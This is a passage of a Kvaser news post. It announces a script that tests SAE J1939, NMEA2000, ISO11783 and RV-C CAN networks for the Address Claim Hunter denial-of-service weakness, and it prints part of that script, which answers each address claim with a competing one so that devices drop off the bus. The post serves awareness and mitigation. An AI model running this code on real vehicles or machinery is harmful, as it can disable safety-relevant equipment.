News

27/08/2024 by Kvaser

A t script to probe address claim vulnerabilities in SAE J1939, NMEA2000, ISO11783 and RV-C networks

Warwick Control Technologies Ltd. has made a script freely available to test SAE J1939-based networks for their vulnerability to an Address Claim Hunter algorithm attack from a potentially malicious device. The script, developed in Kvaser’s real-time scripting language (referred to as ‘t’), runs on all Kvaser Professional-level CAN interfaces.

Dr. Chris Quigley, managing director of Warwick Control Technologies, wrote a paper last year that was published in CAN in Automation’s magazine exploring this weakness, which may also affect NMEA2000, ISO11783 (ISO-Bus) and RV-C networks. His motivation was to raise awareness of the issue and propose mitigation strategies.

A major advantage of SAE J1939-based protocols is their ‘plug and play’ nature, requiring minimal user setup. This is enabled by the Self-Configurable Address mechanism, where each new device dynamically claims a unique address. If a device cannot claim a unique address, it sends a Cannot Claim Address message and stops network communication. While this feature offers flexibility, it also makes devices vulnerable to Address Claim Hunter attacks, potentially causing a Denial of Service (DoS) and disabling many devices or even the entire network.

The example t script can be found below. Please read Chris’ paper for suggestions on how to protect affected networks, or contact Warwick Control directly for more information.

variables {
  const int channel_1 = 0;
  int   length;
  int   ID;
  int   PGN;
  int   Src;
  int   NumAddClaims = 0;
  byte  AddClmRxdflag = 0;
}

on start {
  canBusOff(channel_1);
  canSetBitrate(channel_1, canBITRATE_250K);
  canSetBusOutputControl(channel_1, canDRIVER_NORMAL);
  canBusOn(channel_1);

  printf ("Started\n");
}

on CanMessage [*] {
    CanMessage msg;
    int i;
  
    ID =  this.id;
    Src = this.id & 0xff;
    PGN = (this.id & 0xffff00) >> 8; 

    if(  (0xeeff == PGN) )
    {
      if(0 == AddClmRxdflag)
      {
          AddClmRxdflag = 1;
        
          printf ("Address Claim Received\n");
      }
    
      msg.id    = (0x18EEFF00 | Src);  
      msg.dlc   = 8;     
      msg.flags = canMSG_EXT;     

      // load data field with zeroes
      for(i = 0; i<